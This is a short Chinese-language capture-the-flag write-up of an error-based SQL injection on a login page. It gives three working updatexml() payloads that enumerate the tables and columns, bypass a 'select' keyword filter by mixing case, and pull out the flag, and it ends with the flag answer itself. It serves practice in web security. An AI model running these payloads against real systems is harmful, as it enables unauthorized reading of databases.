打开出现以下界面
根据题目提示访问login.php
先查看源代码,看能不能发现一些有用的信息
提示为报错注入,关于报错注入
根据提示打开burp,在burp里进行注入
1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
updatexml的第二个参数需要Xpath格式的字符串,以~开头(即0x7e)的内容不是xml格式的语法(这时sql会进行报错),concat()函数用来连接字符串,这里连接函数不符合规则,sql会进行报错,但是 select group_concat(table_name) from information_schema.tables where table_schema=database()
是会先进行执行,将执行结果显示在报错的信息里,这样我们就得到了table_name
根据报错提示:near 'from information_schema.tables where table_schema=database()),0x7e),1)#
在此附近的语法错误,但是语法并没有错误,应该是某个字符串被过滤,猜测select被过滤,将其中某个字母改成大写
猜测正确,得到表名
接下来查列名
1'and updatexml(1,concat(0x7e,(seLect group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)#
得到列名flag
最后查字段内容
1'and updatexml(1,concat(0x7e,(seLect group_concat(flag) from fl4g),0x7e),1)#
得到flag:
n1book{login_sqli_is_nice}